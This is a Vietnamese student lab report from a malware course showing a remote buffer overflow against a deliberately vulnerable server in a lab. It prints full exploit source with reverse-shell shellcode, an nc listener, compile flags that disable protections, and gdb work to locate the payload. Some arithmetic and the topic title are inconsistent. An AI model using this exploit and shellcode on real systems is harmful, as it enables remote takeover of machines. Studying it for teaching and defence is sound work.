

BÁO CÁO BÀI TẬP

Môn học: Cơ chế hoạt động của mã độc

Kỳ báo cáo: Buổi 01 (Session 01)

Tên chủ đề: Dò quét và bắt gói tin trong mạng

GV: Nghi Hoàng Khoa

Ngày báo cáo: 27/3/2023

1. THÔNG TIN CHUNG:

(Liệt kê tất cả các thành viên trong nhóm)

Lớp: NT230.N21.ANTN

STT	Họ và tên	MSSV	Email
1	Nguyễn Bùi Kim Ngân	20520648	20520648@gm.uit.edu.vn

2. NỘI DUNG THỰC HIỆN:¹

STT	Công việc	Kết quả tự đánh giá	Người đóng góp
1	Remote Buffer Overflow	100%	Nguyễn Bùi Kim Ngân

Phần bên dưới của báo cáo này là tài liệu báo cáo chi tiết của nhóm thực hiện.

¹ Ghi nội dung công việc, các kịch bản trong bài Thực hành

BÁO CÁO CHI TIẾT

Môi trường: vLab

Máy vm1, IP 10.81.0.6 làm máy attacker

Máy vm2, IP 10.81.0.7 làm server

Bước 1: Trên vm2 biên dịch và thực thi tập tin vul_server.c, mở cổng 5000 và chờ client kết nối

```
gcc -mpreferred-stack-boundary=2 -m32 -z execstack -fno-stack-protector -o  
vul_server vul_server.c  
./vul_server 5000
```

```
ubuntu@s6a180f7-vm2:~$ ./vul_server 5000
```

Bước 2: Trên vm1, mở terminal 1 mở cổng 4444

```
nc -l 4444
```

```
ubuntu@s6a180f7-vm1:~$ nc -l 4444
```

Bước 3: Trên vm1, mở terminal 2 biên dịch và thực thi tập tin remoteexploit.c, truyền input gồm IP target là địa chỉ máy server và port đang mở

```
gcc -mpreferred-stack-boundary=2 -m32 -z execstack -fno-stack-protector -o  
remoteexploit remoteexploit.c  
./ remoteexploit 10.81.0.7 5000
```

```
ubuntu@s6a180f7-vm1:~$ gcc -mpreferred-stack-boundary=2 -z execstack -fno-stack-protector -o remoteexploit remoteexploit.c  
ubuntu@s6a180f7-vm1:~$ ./remoteexploit 10.81.0.7 5000  
ubuntu@s6a180f7-vm1:~$
```

Lúc này máy vm1 server thông báo có client kết nối tới, đồng thời do khai thác thành công lỗ hổng trên server, server sẽ tự động kết nối ngược lại client theo cổng 4444

```
ubuntu@s6a180f7-vm2:~$ ./vul_server 5000  
client from 10.81.0.6 address 0xbffff284
```

Bước 4: Lúc này terminal 1 của máy vm2 là terminal của server vm1

```
ubuntu@s6a180f7-vm1:~$ nc -l 4444
ls
vul_server
vul_server.c

ifconfig
eth0      Link encap:Ethernet  HWaddr fa:16:3e:0b:ff:d0
          inet addr:10.81.0.7  Bcast:10.81.0.255  Mask:255.255.255.0
          inet6 addr: fe80::f816:3eff:fe0b:ffd0/64  Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1450  Metric:1
          RX packets:32393 errors:0 dropped:0 overruns:0 frame:0
          TX packets:21972 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:127668420 (127.6 MB)  TX bytes:2621154 (2.6 MB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128  Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
```

Source code của remoteexploit.c

```
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#define BUF_SIZE 1064

char shellcode[] =
    "\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
    "\x06\x51\xb1\x01\x51\xb1\x02\x51"
    "\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
    "\x89\xc2\x31\xc0\x31\xc9\x51\x51"
    "\xB8\x1B\x40\x11\x17\x35\x11\x11\x11\x11\x50\x31\xc0\x66\x68\x11"
    "\x5c\xb1\x02\x66\x51\x89\xe7\xb3"
    "\x10\x53\x57\x52\x89\xe1\xb3\x03"
    "\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
    "\x74\x06\x31\xc0\xb0\x01\xcd\x80"
    "\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
    "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"
    "\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
    "\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
    "\x50\x68\x6e\x2f\x73\x68\x68\x2f"
    "\x2f\x62\x69\x89\xe3\x50\x53\x89"
    "\xe1\xb0\xb0\xcd\x80\x31\xc0\xb0";

//standard offset (probably must be modified)
#define RET 0xbffff28b

int main(int argc, char *argv[]) {
    char buffer[BUF_SIZE];
    int s, i, size;
```

```
struct sockaddr_in remote;
struct hostent *host;

if(argc != 3) {
    printf("Usage: %s target-ip port \n", argv[0]);
    return -1;
}
// filling buffer with NOPs
memset(buffer, 0x90, BUF_SIZE);

/*
//Modify the connectback ip address and port. In this case, the shellcode
connects to 192.168.2.101 on port 17*256+92=4444
    shellcode[33] = 192;
    shellcode[34] = 168;
    shellcode[35] = 207;
    shellcode[36] = 144;

    shellcode[39] = 17;
    shellcode[40] = 92;
*/

//copying shellcode into buffer
memcpy(buffer+900-sizeof(shellcode) , shellcode, sizeof(shellcode)-1);

// Copying the return address multiple times at the end of the buffer...
for(i=901; i < BUF_SIZE-4; i+=4) {
    * ((int *) &buffer[i]) = RET;
}
buffer[BUF_SIZE-1] = 0x0;
//getting hostname
host=gethostbyname(argv[1]);
if (host==NULL)
{
    fprintf(stderr, "Unknown Host %s\n",argv[1]);
    return -1;
}
// creating socket...
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
{
    fprintf(stderr, "Error: Socket\n");
    return -1;
}
//state Protocolfamily , then converting the hostname or IP address, and
getting port number
remote.sin_family = AF_INET;
```

```
remote.sin_addr = *((struct in_addr *)host->h_addr);
remote.sin_port = htons(atoi(argv[2]));
// connecting with destination host
if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1)
{
    close(s);
    fprintf(stderr, "Error: connect\n");
    return -1;
}
//sending exploit string
size = send(s, buffer, sizeof(buffer), 0);
if (size==-1)
{
    close(s);
    fprintf(stderr, "sending data failed\n");
    return -1;
}
// closing socket
close(s);
}
```

So với source mẫu ban đầu, em đã thay đổi các giá trị sau

1) standard offset

Ta có là 0xbffff284 là địa chỉ buffer (có được khi chương trình vul_server in ra màn hình khi có client kết nối tới) nhưng cần cộng 7 bytes của chuỗi "Hello :" thành 0xbffff284b

2) Shellcode

Trong shellcode ta cần truyền vào 2 giá trị là IP của vm1 10.81.0.6 và port 4444

10.81.0.6 = 0x0a510006

4444 = 0x115c

Đầu tiên, do IP trên chứa byte 0a là mã ASCII cho kí tự xuống dòng \n, nên nếu truyền trực tiếp sẽ lỗi payload. Do đó, ta truyền dán tiếp bằng cách thực hiện phép XOR.

I. Input: hexadecimal (base 16) ▾

a510006

II. Input: hexadecimal (base 16) ▾

11111111

Calculate XOR

III. Output: hexadecimal (base 16) ▾

1b401117

Theo đó, khi muốn truyền giá trị 0x0a510006 ta sẽ thực hiện phép tính xor 0x1b401117 với 0x11111111

Dùng công cụ sau để biên dịch assembly-shellcode <https://defuse.ca/online-x86-assembler.htm#disassembly2>

Enter your assembly code using Intel syntax below.

```
mov eax, 0x1b401117
xor eax, 0x11111111
push eax
xor eax, eax
```

Architecture: ☒ x86 ☐ x64 Assemble

Assembly

Raw Hex (zero bytes in bold):

B81711401B35111111115031C0

String Literal:

"\xB8\x17\x11\x40\x1B\x35\x11\x11\x11\x11\x50\x31\xC0"

Tuy nhiên do little endian nên ta cần đổi shellcode lại như sau

\xB8\x1B\x40\x11\x17\x35\x11\x11\x11\x11\x50\x31\xC0



Cuối cùng, truyền port 4444, truyền các bytes \x11\x5c

Tìm vị trí của shellcode trong payload?

Tại máy vm2 Mở gdb debug chương trình vul_server, xem assembly của hàm handling

disas handling

```

0x08048788 <+171>: jne    0x8048791 <handling+180>
0x0804878a <+173>: mov     $0xffffffff,%eax
0x0804878f <+178>: jmp     0x8048803 <handling+294>
0x08048791 <+180>: mov     -0x4(%ebp),%eax
0x08048794 <+183>: sub     $0x2,%eax
0x08048797 <+186>: movb    $0x0,-0xc04(%ebp,%eax,1)
0x0804879f <+194>: lea     -0xc04(%ebp),%eax
0x080487a5 <+200>: mov     %eax,0x8(%esp)
0x080487a9 <+204>: movl    0x8048a3c,0x4(%esp)
0x080487b1 <+212>: lea     -0x404(%ebp),%eax
0x080487b7 <+218>: mov     %eax,(%esp)
0x080487ba <+221>: call    0x8048590 <sprintf@plt>
0x080487bf <+226>: lea     -0x404(%ebp),%eax
0x080487c5 <+232>: mov     %eax,(%esp)
0x080487c8 <+235>: call    0x8048530 <strlen@plt>
0x080487cd <+240>: movl    $0x0,0xc(%esp)
0x080487d5 <+248>: mov     %eax,0x8(%esp)
0x080487d9 <+252>: lea     -0x404(%ebp),%eax
0x080487df <+258>: mov     %eax,0x4(%esp)
0x080487e3 <+262>: mov     0x8(%ebp),%eax
0x080487e6 <+265>: mov     %eax,(%esp)
0x080487e9 <+268>: call    0x80485d0 <send@plt>
0x080487ee <+273>: mov     %eax,-0x4(%ebp)
0x080487f1 <+276>: cmpl    $0xffffffff,-0x4(%ebp)
0x080487f5 <+280>: jne     0x80487fe <handling+289>
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) b* 0x080487ba
Breakpoint 1 at 0x80487ba
(gdb) b* 0x080487bf
Breakpoint 2 at 0x80487bf
(gdb)

```

Đặt breakpoint trước và sau khi gọi hàm sprintf để quan sát biến buffer

Run 5000

```

0x080487e9 <+268>: call    0x80485d0 <send@plt>
0x080487ee <+273>: mov     %eax,-0x4(%ebp)
0x080487f1 <+276>: cmpl    $0xffffffff,-0x4(%ebp)
0x080487f5 <+280>: jne     0x80487fe <handling+289>
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) b* 0x080487ba
Breakpoint 1 at 0x80487ba
(gdb) b* 0x080487bf
Breakpoint 2 at 0x80487bf
(gdb) run 5000
Starting program: /home/ubuntu/vul_server 5000

```

Sau đó tại máy vm1, thực hiện mở port 4444 và truyền payload qua chương trình remoteexploit.c

Lúc này trên gdb in thông báo client đã kết nối và cho biết địa chỉ buffer tại 0xbffff244, chương trình nhảy tới breakpoint 1. Quan sát giá trị trong biến buffer. Gõ c để nhảy tới breakpoint tiếp theo, lúc này đã thực hiện xong hàm sprintf, biến buffer chứa chuỗi "Hello : " + NOP(\x90) và shellcode

```

Breakpoint 2 at 0x80487bf
(gdb) run 5000
Starting program: /home/ubuntu/vul_server 5000
client from 10.81.0.6address 0xbffff244

Breakpoint 1, 0x080487ba in handling ()
(gdb) x/40wx 0xbffff244
0xbffff244: 0x6e20794d 0x20656d61 0x203a7369 0x00000000
0xbffff254: 0x00000007 0x001aa1c8 0x001ab1c8 0x001ab1c8
0xbffff264: 0x00000008 0x00000004 0x00000004 0x00000004
0xbffff274: 0x6474e550 0x0016db18 0x0016db18 0x0016db18
0xbffff284: 0x000074dc 0x000074dc 0x00000004 0x00000004
0xbffff294: 0x6474e551 0x00000000 0x00000000 0x00000000
0xbffff2a4: 0x00000000 0x00000000 0x00000006 0x00000010
0xbffff2b4: 0x6474e552 0x001aa1c8 0xb7fff000 0xbffff538
0xbffff2c4: 0x00000000 0xbffff2f8 0xb7feaac 0x00000000
0xbffff2d4: 0x00000000 0x00000000 0x00000003 0x00554e47
(gdb) c
Continuing.

Breakpoint 2, 0x080487bf in handling ()
(gdb) x/40wx 0xbffff244
0xbffff244: 0x6c6c6548 0x903a206f 0x90909090 0x90909090
0xbffff254: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff264: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff274: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff284: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff294: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff2a4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff2b4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff2c4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff2d4: 0x90909090 0x90909090 0x90909090 0x90909090

```

Theo đoạn code dưới, buffer sẽ gồm 900 bytes – sizeof(shellcode) là số bytes NOP để padding

```

53 //copying shellcode into buffer
54 memcpy(buffer+900-sizeof(shellcode), shellcode, sizeof(shellcode)-1);
55 fprintf(stderr, "size: %d", sizeof(shellcode));

```

Thử in ra sizeof(shellcode) ta có là 137 bytes

```

ubuntu@s6a180f7-vm1:~$ ./remoteexploit 10.81.0.7 5000
size: 137ubuntu@s6a180f7-vm1:~$

```

Vậy phần NOP có $900 - 137 = 763 = 0x2fb$ bytes

Do đó ta có công thức tìm vị trí lưu shellcode như sau

Địa chỉ buffer $0xbffff244 + 0x7 + 0x2fb = 0xbffff546$

Shellcode nằm tại địa chỉ 0xbffff546


```
(gdb) x/40wx 0xbffff546
0xbffff546: 0xdb31c031 0xb151c931 0x01b15106 0x5102b151
0xbffff556: 0x01b3e189 0x80cd66b0 0xc031c289 0x5151c931
0xbffff566: 0x11401bb8 0x11113517 0x31501111 0x116866c0
0xbffff576: 0x6602b15c 0xb3e78951 0x52575310 0x03b3e189
0xbffff586: 0x80cd66b0 0xc139c931 0xc0310674 0x80cd01b0
0xbffff596: 0x3fb0c031 0x80cdd389 0x3fb0c031 0x01b1d389
0xbffff5a6: 0xc03180cd 0xd3893fb0 0x80cd02b1 0xd231c031
0xbffff5b6: 0x2f6e6850 0x2f686873 0x8969622f 0x895350e3
0xbffff5c6: 0xcd0bb0e1 0xb0c03180 0xf28b9090 0xf28bbfff
0xbffff5d6: 0xf28bbfff 0xf28bbfff 0xf28bbfff 0xf28bbfff
(gdb) x/34wx 0xbffff546
0xbffff546: 0xdb31c031 0xb151c931 0x01b15106 0x5102b151
0xbffff556: 0x01b3e189 0x80cd66b0 0xc031c289 0x5151c931
0xbffff566: 0x11401bb8 0x11113517 0x31501111 0x116866c0
0xbffff576: 0x6602b15c 0xb3e78951 0x52575310 0x03b3e189
0xbffff586: 0x80cd66b0 0xc139c931 0xc0310674 0x80cd01b0
0xbffff596: 0x3fb0c031 0x80cdd389 0x3fb0c031 0x01b1d389
0xbffff5a6: 0xc03180cd 0xd3893fb0 0x80cd02b1 0xd231c031
0xbffff5b6: 0x2f6e6850 0x2f686873 0x8969622f 0x895350e3
0xbffff5c6: 0xcd0bb0e1 0xb0c03180
(gdb) █
```

Sinh viên đọc kỹ yêu cầu trình bày bên dưới trang này

YÊU CẦU CHUNG

- Sinh viên tìm hiểu và thực hành theo hướng dẫn.
- Nộp báo cáo kết quả chi tiết những việc (**Report**) bạn đã thực hiện, quan sát thấy và kèm ảnh chụp màn hình kết quả (nếu có); giải thích cho quan sát (nếu có).
- Sinh viên báo cáo kết quả thực hiện và nộp bài.

Báo cáo:

- File **.PDF**. Tập trung vào nội dung, không mô tả lý thuyết.
- Nội dung trình bày bằng **Font chữ Times New Romans/ hoặc font chữ của mẫu báo cáo này (UTM Neo Sans Intel/UTM Viet Sach)– cỡ chữ 13. Canh đều (Justify) cho văn bản. Canh giữa (Center) cho ảnh chụp.**
- Đặt tên theo định dạng: [Mã lớp]-SessionX_GroupY. (trong đó X là Thứ tự buổi Thực hành, Y là số thứ tự Nhóm Thực hành/Tên Cá nhân đã đăng ký với GV).
Ví dụ: [NT101.K11.ANTT]-Session1_Group3.
- Nếu báo cáo có nhiều file, nén tất cả file vào file .ZIP với cùng tên file báo cáo.
- **Không đặt tên đúng định dạng – yêu cầu, sẽ KHÔNG chấm điểm.**
- Nộp file báo cáo trên theo thời gian đã thống nhất tại courses.uit.edu.vn.

Đánh giá: Sinh viên hiểu và tự thực hiện. Khuyến khích:

- Chuẩn bị tốt.
- Có nội dung mở rộng, ứng dụng trong kịch bản/câu hỏi phức tạp hơn, có đóng góp xây dựng.

Bài sao chép, trễ, ... sẽ được xử lý tùy mức độ vi phạm.

HẾT